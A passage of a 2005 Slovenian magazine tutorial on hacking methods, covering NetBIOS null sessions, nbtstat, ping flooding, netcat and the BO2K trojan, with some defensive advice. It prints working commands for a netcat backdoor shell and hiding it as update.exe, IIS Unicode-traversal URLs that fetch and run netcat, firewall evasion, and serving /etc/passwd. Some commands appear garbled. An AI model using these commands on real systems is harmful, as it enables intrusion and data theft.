Pomembno dejstvo je to, da ta sredstva obstajajo, in če si pridobimo geslo skrbnika (administratorja) imamo lahko do njih dostop s
klasičnim ukazom net use. Dodatno sredstvo
v skupni rabi je dostopno tako, da lahko skrbniki določene domene pošiljajo ukaze med
strežniki. To sredstvo v skupni rabi IPC$, kar
je okrajšava za InterProcess Communications.
Zagotovo ste pomislili, da je IPC$ zaščiten z
močnim skrbnikovim geslom, vendar temu ni
tako, saj nekateri programi zahtevajo uporabo
IPC$ brez overjanja. Z dostopom do IPC$ sicer
ne boste pridobili popolnega nadzora nad sistemom, vsekakor pa ste na dobri poti do pridobitve
novih informacij.
Za izdelavo privilegiranega kanala med vašim sistemom in sistemom z IP-naslovom, npr.
192.168.1.13, uporabimo naslednji ukaz:
C:\> net use \\192.168.1.13\IPC$ »« user:«»
The command completed successfully.

Tako, zdaj lahko uporabimo nekatera druga
orodja, da bi si pridobili informacije, do katerih prej nismo imeli dostopa. Te informacije so
zlasti: uporabniška imena, skupine, pravilniki,
sistem številke ID (SID). V nadaljevanju bomo
omenili nekatera orodja, ki so uporabna po vzpostavitvi take povezave NULL na sredstvo IPC$
v skupni rabi.

Nasvet: Počistite za seboj
Kadarkoli se povežete na IPC$, se prepričajte, da ste temeljito počistili za seboj.
Zato za prekinitev povezave uporabite: net
use\\192.168.1.13\IPC$/delete . Če tega
ne boste storili, bo nekdo še vedno lahko
videl vašo povezavo kot aktivno in tako z
ukazom ukaza net session ali nbtstat –s ugotovil vaš IP-naslov.

Nbstat

Nbtstat je orodje Windows, ki teče iz dosovske
ukazne vrstice in je lahko koristno za prikaz informacij o povezavah NetBIOS in tabelah imen.
Ukaz mbtstat lahko pridobi informacije, kot so
naslov MAC, ime NetBIOS, ime domene in
ime kateregakoli aktivnega uporabnika. Nbtstat
uporabljajo sistemski skrbniki, vendar pa je to
orodje, tako kot večina omrežnih orodij, lahko
uporabljena tudi za zle namene, čemur boste
kmalu priča.
V DOS-ovo ukazno vrstico preprosto vpišemo
nbtstat in program bo sporočil nekaj mogočih
načinov uporabe. Če smo na lokalnem sistemu,
lahko nbtstat uporabimo za nadzor naših lokalnih povezav. Na primer.
C:\>nbtstat –S 2
NetBIOS Connection Table
Local Name State In/Out Remote Host Input Output
---------------------------------------------WinBox 03 Listening
WinBox Connected In 192.168.1.13 10KB 405KB
WinBox Listening
Jodo 03 Listening
Opisano nam govori, da je nekdo povezan na
enega od naših sredstev v skupni rabi z IP- naslova 192.168.1.13. Zdaj lahko spremljamo njegovo
aktivnost. Močnejša stran ukaza nbtstat je uporaba stikal –a in –A. Poglejmo, kaj lahko dobimo
od našega prijatelja z naslova 192.168.1.13:
C:\>nbtstat –A 192.168.1.13
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------MYCOMPUTER 00 UNIQUE Registered
MYDOMAIN 00 GROUP Registered
MYCOMPUTER 03 UNIQUE Registered
MYCOMPUTER 20 UNIQUE Registered
MYDOMAIN 1E GROUP Registered
MYUSER 03 UNIQUE Registered
MYDOMAIN 1D UNIQUE Registered
..__MSBROWSE__.01 GROUP Registered
MAC Address = 00-50-DA-B9-56-9F

Nbtstat nam v gornjem primeru vrne tabelo
storitev NetBIOS. ki so trenutno aktivne v domeni. Da bomo sposobni te informacije izkoristiti, pa moramo najprej nekaj malega vedeti o
NetBIOS-u . Imena na listi bomo prepoznali na
podlagi kode NetBIOS <##> in tipa. Na začetku vidimo <00> UNIQUE, kar nam pove, da v
računalniku storitev zagnana, kot tudi, da je ime
sistema MYCOMPUTER.
Naslednja vrstica se glasi <00> GROUP, kar
nam pove delovno skupino in ime domene ki ji
sistem pripada. V tem primeru pripada sistem domeni MYDOMAIN.
Tretja vrstica vsebuje kodo <03>, ki jo uporablja storitev za sporočila. Če vidimo kodo
<03>, vedno preglejmo tabelo do konca, saj je ta
koda vedno v paru in nam pove ime sistema in
ime trenutno prijavljenega uporabnika (glej tudi
šesto vrstico).
Celotna tabela NetBIOS kod bi zavzela preveč
prostora, zato si jih poglejte na naslovu: http://
jcifs.samba.org/src/docs/nbtcodes.html .
Z ukazom nbtstat smo pridobili ime domene in
uporabniško ime. Potrebujemo samo še geslo!
Medtem ko NetBIOS-a ne moremo usmerjati,
lahko to storimo z ukazom nbt in stikalom –A.
Nbtstat lahko uporabimo zoper katerikoli sistem,
ki je povezan v internet in dovoljuje prehod prometa nbt v vrata 137, 138 in 139.
Ena od informacij, ki jih prinaša nbtstat, je
tudi strojni ethernetni ali MAC-naslov. V tem
primeru je za 192.168.1.13 MAC-naslov 00-50DA-B9-56-9F.
Naslov MAC je dolžine 48 bitov in je predstavljen z 12 heksadecimalnimi števili oz. 6 okteti. Prvih 6 števil predstavlja proizvajalca omrežne kartice (OUI), zadnjih 6 pa serijsko številko
omrežne kartice. V našem primeru je proizvajalec 3COM (00-50-DA).
Sistemi Windows standardno delijo zgoraj opisane informacije zaradi tega, ker sicer ne morejo
delovati v omrežju. Pomembno pa je dejstvo, da
sistemi prav tako ne beležijo opisanih dostopov
v svoje varnostne datoteke. Preostane vam samo
to, da uporabite požarne zidove in sisteme za zaznavanje vdorov in z njihovo pomočjo spremljate tovrstni zunanji promet.

Regedmp

Orodje Regdmp prav tako deluje v okolju
Windows, najdemo pa ga lahko v kompletu NT
Resource Kit. To orodje omogoča prevzem ključev iz registra v standardni izhod oz. besedilno
datoteko. Če heker pridobi dostop do ukazne
vrstice v vašem sistemu, lahko uporabi regdmp
in prevzame posebno zanimive ključe in vrednosti oz. celoten sistemski register. Poleg tega je
regdmp uporaben pri preverjanju registra o prisotnosti aplikacij, ki v sistemu ne bi smele biti
prisotne.
Regdmp bomo tokrat uporabili tako, da nam
povedal, kateri programi se zaženejo v našem
računalniku ob zagonu. V ukazno vrstico za ta
namen vnesemo ukaz:
Regdmp c:\>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
MOJ MIKRO 1 JANUAR 2005

39

KONKRETNO
hekerske metode (3. del)
Tako se lahko prepričamo, da nihče ne zaganja zlonamernih aplikacij, kot sta npr. Netcat ali
Netbus. Regdmp pa omogoča tudi dostop do registra z oddaljene lokacije, za kar uporabimo:
C:\>regdmp –m \\192.168.1.13
Prav tako je regdmp uporaben za preiskovalce
računalniške kriminala, pri čemer jih v registru
zanimajo predvsem naslednje informacije:
- mesta, s katerih so bile v zadnjem času
vzpostavljene povezave na napadeni sistem,
- zadnji uporabljeni dokumenti v sistemu,
- programi, ki se zaganjajo ob zagonu
operacijskega sistema.

Ping

Ping je naslednje v vrsti najosnovnejših diagnostičnih orodij, katerega namen je ta, da pošlje zahtevo ICMP echo in nato čaka na odgovor. Ping se uporablja za preverjanje omrežne
povezanosti, uporaben pa je tudi za nekatere
druge namene, kot boste videli v nadaljevanju.
V izvedbi pinga obstaja nekaj razlik med sistemi
Windows in Unix. V večini sistemov Unix ping
nadaljuje »pinganje« tarče, dokler ga ne prekinete s kombinacijo CTRL-C. Na drugi strani je
treba v sistemu Windows uporabiti sintakso ping
–t, če želimo, da se ping nadaljuje v neskončnost,
dokler procesa ne zaključimo.

Zloraba pinga in ping smrti!

Nedvomno ste o tej tehniki že marsikaj slišali,
bistvo problema pa je v tem, da napadalec pošlje tarči paket ping, večji od 65.536 bajtov.
Medtem ko IP (Internet Protokol) ne podpira
datagramov, večjih od 65536 bajtov, je mogoče
s fragmentacijo to velikost preseči in tako izvesti
tipičen napad za zavrnitev storitve (DoS). Velika večina sistemskih orodij ping ne omogoča
pošiljanja prevelikih paketov, medtem ko nekateri operacijski sistemi tovrstne pakete preprosto ignorirajo. Za druge sisteme je edina rešitev
uporaba filtrov in požarnih zidov v zunanjih delih omrežja, ki blokirajo vse prihajajoče pakete
ICMP oz. vsaj pakete ICMP določene velikosti.
Več o tovrstnih napadih in zlorabah ste si lahko
prebrali v prejšnji številki Mojega mikra.
Zgled uporabe:
C:\ping.exe 192.168.2.1 –l 65500 –n 10000
Gornji ukaz pošlje 10.000 paketov dolžine 64
KB na IP-naslov 192.168.2.1. Z malce matematike nam hitro postane jasno, da to pomeni 655
megabajtov podatkov. Omenjeni ukaz ne generira podatkovnega toka visoke hitrosti, saj orodje
ping počaka, da sprejemna stran potrdi prejem
prejšnjega paketa. Premislite, kaj se zgodi, ko
opisano metodo uporabi več različnih sistemov
hkrati ... Odgovor je: napad DDoS.
Učinkovitost tovrstnih napadov potrjuje dogodek, ko je 13-letniku z uporabo podobnih metod
uspelo spraviti na kolena omrežje grc.net. Več o
tem si lahko preberete na http://grc.com/dos/ .

Traceroute

Orodje traceroute sledi poti, po kateri potujejo IP-paketi od izvora do cilja. Traceroute pošlje IP-paket (ICMP ali UDP) na cilj, pri čemer

40

MOJ MIKRO 1 JANUAR 2005

nastavi polje TTL (time-to-live) na vrednost
1. Paket zaradi tega »umre« pri prvem skoku
(v usmerjevalniku) in usmerjevalnik nas o tem
obvesti s sporočilom ICMP. Traceroute nato pošlje še en paket, pri čemer je TTL nastavljen na
vrednost 2. Traceroute nato ponavljajoč opisani
postopek ugotovi, kateri usmerjevalniki so med
našim in ciljnim sistemom. Orodje je uporabno
za diagnosticiranje omrežnih težav kakor tudi za
pridobitev informacij o lokaciji sistema.
Obstaja vrsta grafičnih programov za poenostavljeno ugotavljanje lokacije sistemov, pri čemer bi izpostavil: gtrace za Unix, ki ga najdete
na spletnem naslovu www.caida.org/tools/visualization/gtrace/ in VisualRoute za Windows, ki
ga najdete na www.visualware.com .

TROJANSKI KONJI

Trojanski konj je neavtorizirana koda, priključena legitimnemu programu, ki izvaja nepoznane in za uporabnika neželene operacije.
V tem delu opisujemo položaj, v kateri je napadalec že pridobil dostop do sistema. Kaj zdaj?
Napadalec po vsem trudu, ki ga je vložil v dostop
do sistema, poskuša tega ohraniti in ga v bodoče
napraviti predvsem enostavnejšega. Ta članek
govori o orodjih in tehnikah, ki jih hekerji uporabljajo za ohranjanje dostopa in prikrivanje
sledov vdora.
Na splošno bi lahko trojanskega konja opredelili kot program, ki opravlja poleg temeljnih
še skrite in za uporabnika neželene funkcije. Programerji ustvarjajo trojanske programe s slabimi
nameni, saj ob pisanju programske kode avtor
natančno ve, kaj počne in kakšne namene ima
s svojim programom.
Navadno so cilji avtorjev trojanskih konjev
naslednji:
- izvajanje funkcij, ki bodo razkrile vitalne
informacije o napadenem sistemu oziroma
omogočile vdor v sistem;
- prikritje v prejšnji točki opisanih funkcij;
Nekateri trojanski programi bodo naredili
oboje, obstaja pa tudi vrsta, ki v bistvu povzroči
škodo v tarčinem sistemu (šifrira podatke na trdem disku ali pa disk formatira).

VDORI SKOZI STRANSKA VRATA

Kot nam že samo ime pove, gre za orodja s katerimi si napadalec omogoči dostop do sistema z
alternativno dostopno točko. Običajni uporabniki vstopajo v sisteme skozi prednja vrata v obliki prijavnih oken, v katera vnašajo uporabniška
imena in gesla ali uporabijo kakšno drugo metodo overjanja.
Hekerji uporabljajo orodja za vdiranje skozi
stranska vrata (backdoor), da bi obšli običajno
sistemsko varnost prednjih vrat. Ko hekerju uspe
namestiti stranska vrata, lahko dostopa v sistem
brez vnašanja gesel oz. uporabe varnih povezav
(SSL ipd.). Skrbnik kompromitiranega sistema
lahko dodaja nove oblike najnovejših varnostnih nadzornih elementov za vsakega uporabnika sistema, vendar lahko heker kljub temu prek
nameščenih stranskih vrat vstopa v sistem pod
svojimi pogoji, ne pa tistimi, ki jih je na novo
določil skrbnik.

Heker kot »lastnik« računalnika
Po pridobitvi dostopa v sistem in namestitvi
zadnjih vrat se poskušajo hekerji prepričati,
da v sistem, ki so si ga pravkar prilastili,
nima dostopa še kdo drug iz njihovih vrst.
To počnejo iz varnostnih razlogov, saj bi
lahko drug heker napravil kakšno napako,
na podlagi katere bi pozneje ujeli oba. V hekerskem podzemlju in njihovem žargonu se
namreč pojmuje sistem, v katerega je heker
uspešno vdrl, kot njegova last (owned by
attacker). Račun za računalnik je že lahko
izdan na ime vašega podjetja in tudi računalnik lahko počiva na vaši mizi, pa je kljub
temu last hekerja, ki lahko po svoji volji
namešča programsko opremo in spreminja
nastavitve. Tako je prva stvar, ki jo heker
v novem sistemu postori, to, da zakrpa vse
varnostne luknje, vključno s tisto, skozi
katero je vstopil v sistem, nato pa namesti
stranska vrata. Ironično je predvsem to, da
zdaj heker opravlja dejanja, ki bi jih moral
že pred vdorom opraviti sistemski skrbnik
oz. pravi lastnik sistema.

OBLIKE TROJANSKIH KONJEV

Najpogosteje smo pri vdorih hekerjev priča
trojanskim programom, ki se ravno ne odlikujejo
po programerskih sposobnostih stvaritelja. Tako
pogosto naletimo na enostavne datoteke .BAT
oz. tako imenovane paketne datoteke (batch
files), ki so navadni dosovski ukazi, napisani v
urejevalniku besedil in shranjeni pod končnico
.BAT. Takšna datoteka nam lahko, če jo nepremišljeno aktiviramo, kaj hitro formatira trdi
disk, spremeni imena pomembnih datotek ipd.
Še en razlog več, da odpiranje datotek, ki smo ji
dobili od vprašljivih ali neznanih pošiljateljev, ni
preveč zdravo početje.
Povsem druga vrsta pa so programerji, ki sodelujejo pri programiranju komercialne programske opreme. Tako imenovani insiderji vstavljajo
svojo neavtorizirano kodo v različne programe in
celo operacijske sisteme. Ti posegi pa nas lahko
resnično zaskrbijo, kajti:
- to so najpogosteje trojanski programi, ki zbirajo informacije in nimajo destruktivnega učinka
na sam sistem, zaradi česar jih je težko odkriti;
- v primerjavi z drugimi trojanskimi programi
je ta vrsta nevarnejša tudi zato, ker zajame veliko
večji obseg sistemov, vse od vladnih do raziskovalnih itn.
Dejstvo je, da se trojanski konji lahko pojavijo
v kateremkoli programu in operacijskem sistemu, zato je za uporabnika pomembno, da je pri
uporabi programske opreme zelo previden (dosledna uporaba požarnih zidov in protivirusne
zaščite, predvsem pa »skrivnega orožja« − zdrave
človeške pameti).
Včasih zasledimo primere, ko posamezen napadalec zavaruje stranski vhod v tarčin sistem
bolj, kot pa je zavarovan standardni sistemski
vstop. Na primer, medtem ko sistem od uporabnikov zahteva uporabniško ime in geslo, napadalec uporabi močnejšo kriptografsko zaščiteno
metodo overjanja. Napadalec lahko v ta namen

KONKRETNO
hekerske metode (3. del)
uporabi SSH (Secure Shell), pri tem pa SSH ne
uporabi tako, da ta uporablja standardna TCPvrata 22. Takšno početje bi skrbnik sistema hitro
opazil. Zato napadalci nastavijo SSH tako, da ta
posluša pri drugih vratih in za overjanje uporablja napadalčev ključ, pa tudi šifriranje povezave.

UPORABNI ORODJI NETCAT IN CRYPTCAT

Kot ste uvodoma videli, imamo na voljo
ogromno hekerskih orodij, s katerih lahko povečamo omrežno varnost. Večinoma se vsako orodje osredotoči na oseben cilj, pri čemer nekateri
zbirajo informacije o omrežju in domenah, medtem ko drugi izrabljajo posamezne varnostne pomanjkljivosti. Najboljša in najkoristnejša izmed
vseh pa so orodja, ki so večnamenska in priročna
za uporabo v različnih scenarijih. Med slednje
prav gotovo sodita Netcat in Cryptcat.
Poenostavljeno povedano, Netcat ustvarja in
sprejema povezave TCP (Transmission Control
Protocol) in UDP (User Datagram Protocol).
Netcat nam omogoča, da vidimo čiste podatke
TCP in UDP, preden so ti vstavljeni v naslednji nivo, kot so npr. FTP (File Transfer Protocol), SMTP (Simple Mail Transfer Protocol) ali
HTTP (Hypertext Transfer Protocol).

Opozorilo!
Tehnično gledano Netcat ne ustvarja povezav UDP, ker je UDP nepovezovalni protokol.V tem članku bomo ob omembi povezave UDP v zvezi z Netcatom mislili na
uporabo Netcata v načinu UDP za začetek
pošiljanja podatkov storitvi UDP, ki deluje
v sprejemnem delu.
Netcat nima grafičnega vmesnika in ne podaja
rezultatov v očem prijazni obliki. Je grob, enostaven in deluje na osnovni ravni, zato je uporaben
v raznovrstnih okoliščinah. Netcat za osnove
Unix in Windows najdemo na spletnem naslovu: www.atstake.com/research/tools/.
Osnovni ukaz Netcat je: nc <opcije> IP vrata
(različne možnosti si oglejte v programovi datoteki readme).

Netcat kot stranska vrata

Si želite dostop do ukazne vrstice svojega domačega računalnika od koderkoli na svetu? Z
izvršitvijo ukaza nc.exe –l –p 4455 –e cmd.exe
iz ukazne vrstice sistema Windows boste lahko
prek povezave telnet v vrata 4455 pridobili dostop do ukazne vrstice svojega domačega računalnika. V bistvu ste pravkar ustvarili stranska
vrata v svoj sistem, kar je lahko v nepravih rokah
zelo nevarno.
Pa si poglejmo zgoraj navedeni ukaz še od
blizu. Vedite, da bo Netcat deloval znotraj dosovskega okna, kar pomeni da mora biti to odprto, dokler Netcat deluje (zadnja vrata so v tem
primeru vidna tudi nepoučenim). Zdaj bomo
uporabili stikalo –d, s čimer bomo Netcat ločili
od klasičnega dosovskega okna. Tako bo lahko
Netcat deloval, čeprav bomo to okno zaprli. Različica tega ukaza je C:\nc.exe –L –p 4455 –d –e
cmd.exe (v tem ukazu je uporabljen veliki L, kar

Netcatu naroči, naj posluša močneje in naj po
vzpostavljeni in prekinjeni povezavi nadaljuje
poslušanje na vratih 4455).
Navedeno hekerju omogoča vstop v sistem,
vse dokler skrbnik ne opazi, da je med procesi
prisoten tudi nc.exe. Heker lahko od usposobljenega skrbnika to pričakuje, zato nc.exe preimenuje v kaj drugega (npr. update.exe) z ukazom:
C:\move nc.exe c:\Windows\System32\drivers\update.exe
C:\Windows\System32\Drivers\update.exe –p 4455
–d –L –e cmd.exe
Zgled uporabe izkoriščevalskega (exploite)
skripta v kombinaciji z Netcatom je uporaba
protokola TFTP (Trivial File Transfer Protocol),
nameščenega v spletnem strežniku, s pomočjo
katerega bomo iz oddaljenega sistema, v katerem
smo prej zagnali strežnik TFTP, prenesli nc.exe
in v napadenem spletnem strežniku pognali eno
izmed različic stranskih vrat.
Pa si poglejmo URL, s katerega bomo prek
protokola TFTP prevzeli Netcat z oddaljene lokacije, pri čemer nam bo v pomoč tudi Unicodova varnostna pomanjkljivost:
http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20i%20originx&20GET%20update.exe
Če je zgornji poskus uspešen, bo ukaz prenesel
Netcat na IP 10.10.0.1 v podimenik Inetpub imenika Scripts kot update.exe. Heker lahko nato zažene Netcat z uporabo naslednjega URL-ja:
http://10.10.0.1/scripts/../%c1/pc/../inetpub/scripts/
update.exe?-l%20-d%20-L%20-p%20443%20-e%20cmd.exe
Spletni strežnik tolmači %20 kot presledek! S
povezavo telnet v vrata 443 bi nas morala pričakati dosovska ukazna vrstica. Opisani napad je
učinkovit in enostaven, a za seboj pušča nepotrebne sledi. Predvsem bodo vsi URL-ji, ki so bili
uporabljeni v napadu, shranjeni v varnostnih
datotekah spletnega strežnika (IIS), prav tako
pa bodo opisani napad zaznali tudi morebitni
sistemi IDS (intrusion detection system) za zaznavanje vdorov.
Napad lahko preprečite tako, da:
- posodobite IIS,
- blokirate odhajajoče povezave s svojega
spletnega strežnika v požarnem zidu.
V večini primerov vaš strežnik ne bi smel
vzpostavljati povezav navzven.
Netcat med drugim ponuja stikalo –s, ki nam
omogoča, da si dodelimo katerikoli IP- naslov.
To je uporabno, kadar bi radi z Netcatovim skeniranjem prestrašili prijatelja. Zadeva je preprosta, saj zahteva samo to, da skeniramo prijateljev
računalnik z Netcatom pri čemer si pomagamo
s stikalom –s, ki nam omogoča, da zavzamemo
npr. IP-naslov FBI-ja ali Microsofta. Prijatelj bo
mislil, da ga pregledujeta FBI ali Microsoft in zagnal preplah.

Releji in namestniki

Netcat, ki posluša na določenih vratih, je lahko uporaben tudi za vzpostavitev povezave v drug
sistem, s čimer dobimo rele. Uporaba tega načina

zahteva poznavanje skriptov predvsem zato, ker
Netcatova možnost –e sprejema samo en ukaz.
Zanimiv je položaj, ko heker z opisanim načinom
premosti nekaj različnih domen in s tem zelo oteži delo preiskovalcem pri izsleditvi resničnega izvora. Ta način je znan kot veriženje namestniških
strežnikov (chaining proxy servers).

Izogibanje požarnim zidovom in filtrom

Netcat je uporaben tudi v funkciji, ki lažno
prikazuje nedovoljen promet kot dovoljen, kar
omogoči komunikacijo prek požarnega zidu ali
filtra. Nekateri požarni zidovi omogočajo prihajajoči promet od izvirnih vrat 20 k visokim
ciljnim vratom v krajevnem omrežju zato, da bi
se omogočili uporabo FTP-ja. To lahko izkoristimo z ukazom: nc –p 20 imetarče 6000, kar nam
omogoči pristop do X Serverja na Unixovem sistemu. Opisana metoda pa ni uporabna samo za
dostop do vrat 6000, temveč do vseh vrat, večjih
od 1024, s katerimi lahko komuniciramo, prihajajoč z izvornih vrat 20.
Za DNS veljajo podobni prijemi, saj skoraj vsi
požarni zidovi dovoljujejo odhajajoči DNS. Če
ste za požarnim zidom (podjetje, univerza ...), ki
dovoljuje prihajajoči in odhajajoči promet v vratih 53 (DNS), potem lahko izkoristite priložnost
in spravite nedovoljeni omrežni promet skozi požarni zid tako, da mu določite izvorna vrata 53.
To naredimo tako, da za požarnim zidom poženemo Netcat: nc –p 53 imetarče 9898.

Prikriti prenos podatkov

Heker lahko izkoristi Netcat za prenos datotek iz sistema brez vsakršnih sledov v varnostnih
datotekah.
Nc –l –u –p 12345 < /etc/passwd
Z gornjim ukazom lahko heker ob povezavi v
vrata UDP 12345 prenese datoteko /etc/passwd.
Skratka, Netcat je uporaben na 1001 način,
pri čemer ga s pridom uporabljajo tako sistemski
skrbniki za testiranje svojega omrežja kakor na
drugi strani tudi hekerji. V povezavi z Netcatom
bi omenil tudi Cryptcat, ki je v bistvu Netcat z
možnostjo šifriranega prenosa podatkov.
Šifrirani prenos podatkov lahko naredi omrežnim skrbnikom veliko sivih las, saj samo s prisluškovanjem povezavam ne bi dobili veliko uporabnih podatkov o namerah hekerja. Cryptcat
lahko prevzamete na naslovu: http://farm9.com.

NetCat je lahko tudi preimenovan!
NetCatovo programsko ime je sicer NC,
vendar to ne pomeni, da ga napadalec ne
more preimenovati v ime, podobno drugim
sistemskim procesom.
Nekateri se sprašujejo: Zakaj sploh nameščati
zadnja vrata, ko pa ima napadalec že tako ali
tako dostop do sistema? Običajno napadalec
namesti stranska vrata, da si zagotovi dostop tudi
pri spremembah sistema oz. brisanju uporabnikov, ki imajo trenutno legitimen dostop.
Kaj pa, če varnostno osveščeni skrbnik onemogoči dostop do Telneta v strežniku? Dobro naMOJ MIKRO 1 JANUAR 2005

41

KONKRETNO
hekerske metode (3. del)
stavljena stranska vrata bodo ostala uporabna, saj
stranska vrata kljub temu opravljajo svojo nalogo.
Tako, opisali smo osnovne načine kako napadalec namesti stranska vrata v sistem, zdaj pa si
poglejmo tipično uporabo trojanskih konjev.

PO SLEDEH KULTA ČRNE KRAVE

Trojanski konj Back Orifice 20001 je izvrsten
zgled, da se naučimo ubraniti tudi pred njemu
podobnimi orodji iz te zvrsti. Back Orifice 2000
(BO2K) je ustvaril heker z vzdevkom Dil-Dog,
ki je član zloglasne skupine Cult of the Dead
Cow. BO2K je bil sproščen v uporabo na konferenci DefCon 7, leta 1999 v Las Vegasu. Predstavitev tega hekerskega pripomočka je potekala ob
spremljavi tehno glasbe in ob govoru »hekerskega pridigarja«, kar je naredilo vse skupaj še bolj
medijsko odmevno. BO2K je prilagojen za delovanje v vseh sistemih Windows in je odprtokoden, prav tako pa nam je na voljo razpravljavska
skupina. v kateri se zmožnosti programa razvijajo
naprej. BO2K se je do danes razvil v ogromno
različic in mutacij, ki so vse obdarjene z različnimi funkcijami.
BO2K strežniška koda (del, ki okuži tarčin sistem) je namreč napisana tako, da zavzame samo
100 KB, kar je presenetljivo, ko pogledamo vse
mogoče funkcije tega orodja. Odjemalec, s katerim nadziramo napadeni sistem, pa zavzema okrog
500 kilobajtov, kar pomeni, da celoten paket zelo
enostavno spravimo na eno samo disketo.

Kaj lahko BO2K počne?

Ko je strežnik nameščen v žrtvinem sistem,
napadalcu omogoči popoln nadzor, kar med drugim pomeni:
- ustvarjanje poljubnih opozorilnih oken
na žrtvinem sistemu (nič posebnega, se
vam morda zdi, vendar pa je dejstvo, da bo
večina uporabnikov naredila natanko, to
kar jim sporoči računalnik),
- spremljanje pritisnjenih tipk (omogoča
napadalcu, da odkrije še tako zapletena
gesla),
- odkrivanje natančnih informacij o sistemu
(OS, RAM, HDD, varnostni popravki ipd.),
- zbiranje gesel (zbere in pošlje vse datoteke z
gesli v določenem sistemu),
- običajno delo z datotekami (vpogled,
kopiranje, brisanje, preimenovanje ...),
- spreminjanje registra,
- upravljanje procesov,
- preusmerjanje paketov (vsak paket, ki
je namenjen žrtvi, se lahko preusmeri v
poljuben sistem)
- preusmerjanje programov (omogoča
dostop napadalca do ukazne vrstice
podobno kot NetCat)
- multimedijski nadzor (napadalec lahko
vidi žrtvin zaslon in nadzira druge vhodnoizhodne enote)
- HTTP-strežnik (napadalec ima dostop
do žrtvinega sistema tudi brez odjemalca
BO2K, pri čemer lahko uporabi navaden
internetni brskalnik).
1
Program je sestavila skupina, ki se imenuje Cult of the Dead Cow, sam
program in njegov podrobnejši opis pa najdete na spletnem naslovu:
http://www.cultdeadcow.com/toools/bo.html

42

MOJ MIKRO 1 JANUAR 2005

Z opisanimi sposobnostmi je BO2K (kakor
tudi njemu podobni Sub7, Net-Bus, Hack-aTack ipd.) izjemno podoben drugim legitimnim programom za oddaljeni dostop, kot so
pcAnywhere, ControlIT ali LapLink. V bistvu
BO2K počne natanko iste stvari kot omenjeni
programi. Na spletni strani BO2K www.bo2k.
com najdemo primerjavo med BO2K in drugimi
orodji za oddaljeni dostop, pri čemer je BO2K
bogatejši z možnostmi, brezplačen in odprtokoden. Prav zaradi tega je BO2K oglaševan kot
orodje sistemskih skrbnikov, ki pa ga je mogoče
kot vsako drugo orodje tudi zlorabiti. Zanimiva
je primerjava s kladivom, ki ga lahko uporabimo
za gradnjo hiše, na drugi strani pa je lahko uporabno tudi kot morilsko orodje. Pridemo do sklepa, da orodja sama po sebi niso nevarna, temveč
so nevarni ljudje, ki jih uporabljajo.
Če BO2K zaženemo v skritem načinu delovanja, ga med procesi ne bomo opazili. Prav tako
ima BO2K možnost šifriranja komunikacije med
tarčo in napadalcem, pri čemer uporablja različne šifrirne algoritme, od DES-a do CAST-a. Za
poenostavljeno uporabo ima BO2K namestitvenega čarovnika, ki nas vodi prek vseh namestitvenih možnosti. Novejše različice lahko uporabljajo katerakoli vrata TCP ali UDP, kar je še ena
od ovir pri razkrivanju njegove uporabe.
Protivirusni proizvajalci uvrščajo Back Orifice v kategorijo trojanskih konjev, program pa
je podobno kot Netbus sestavljen iz strežnika
in odjemalca, ki medsebojno komunicirata prek
protokola TCP/IP (slika 5)

Nekateri od številni ovijalnih programov
(wrappers) so: Silk Rope, SaranWrap in EliteWrap. Silk Rope 2000 lahko najdete na naslovu www.netninja.com, program pa ima najenostavnejši grafični uporabniški vmesnik, kar drugi
zloglasni dvojici manjka.

Pozor pred zastonj »dobrotami«!
Bodite skrajno previdni pri pretakanju in
nameščanju programov z nepoznanih in
sumljivih spletnih strani. Ampak to ste
verjetno vsaj že stokrat slišali! Posrečena
primerjava je dogodek, ko hodimo po pločniku in na tleh najdemo, denimo, na oko
vabljiv prigrizek. »Poslastico« poberemo,
pozneje pa čudimo, kako to, da smo zboleli.
Preverite »dobrote«, ki jih najdete v internetu, vsaj s protivirusnim programom.
Osnovna funkcionalnost se lahko pri BO2K še
razširi z vtičniki (plug-ins), pri čemer se te dodatne možnosti lahko dodajajo že med namestitvijo,
kar omogoča napadalcem, da se enostavneje prilagodijo tarči.
Nekatere izmed vtičnikov najdete na naslovu
www.bo2k.com/warez.html, obsegajo pa vse mogoče, na primer:
- BoPeep (omogoča prenos video posnetka
žrtvinega zaslona ...)
- šifriranje (RC6, CAST-256, IDEA in Blowfish omogočajo šifriranje prenosa podatkov)
- BOSOCK32 (omogoča prenos podatkov s
protokolom ICMP, kar izjemno oteži odkritje, saj
ICMP za komunikacijo ne uporablja vrat).

Kje so moje žrtve?

Izdelajte trojanca brez znanja programiranja!

Kako napadalec doseže namestitev trojanskega
konja v žrtvin sistem? Največkrat napadalec preprosto prepriča žrtev, da si ga sama namesti, kar
pa običajno ne bi uspelo, če bi napadalec žrtvi
poslal e-pošto s prilogo Trojanski konj.exe. V ta
namen obstajajo orodja, imenovana wrappers,
ki so uporabna za ustvarjanje trojanskih konjev.
Takšno orodje namreč doda legitimnemu programu (igri, Officeovemu dokumentu ali drugi
izvršljivi datoteki) izvršljivo datoteko strežniškega dela BO2K. Ti dve izvršilni datoteki sta nato
združeni v eno samo datoteko, pri čemer se zaradi
majhnosti BO2K tega skoraj ne opazi. Ko uporabnik prejme tovrsten paket, se najprej namesti
BO2K, nato pa se zažene še drug program.
Opisano nam pove, da lahko kdorkoli brez
vsakršnega znanja programiranja doda trojanskega konja katerikoli izvršilni datoteki in tako
maskiran paket dostavi svoji žrtvi.

Ena osnovnih težav pri uporabi trojanskih konjev je to, da je treba strežniški del trojanskega
konja nekako najti. Začetni paket, ki ga napadalec pošlje uporabniku, lahko ta uporabnik razpošlje naprej, ker mu je bil program, v katerega je
bil BO2K maskiran, preprosto všeč. Ti drugi uporabniki nato namestijo BO2K v svoje sisteme,
pri čemer pa napadalec ne ve, kdo vse je paket
namestil in njihovih sistemov ne more nadzirati,
če ne pozna njihovega IP-naslova. Kako napadalec reši tovrstno dilemo?
Računalniško podzemlje je v odgovor na to
vprašanje ponudilo v uporabo dalo močni orodji.
Imenujeta se Rattler in BT2K, problem pa rešita tako, da vsak sistem, v katerega se namesti
BO2K, ob namestitvi napadalcu pošlje e-pošto,
s pomočjo katere napadalec najde svojo »izgubljeno« žrtev. E-pošta pa je lahko počasna, zato so
se domislili novejše metode z vtičnikom Speakeasy, ki se poveže v določen IRC-kanal, kjer naznani novo žrtev v stvarnem času.

Dostava BO2K s kontrolniki ActiveX

Trojanski konji postanejo še učinkovitejši v
povezavi s kontrolniki ActiveX in spletnimi
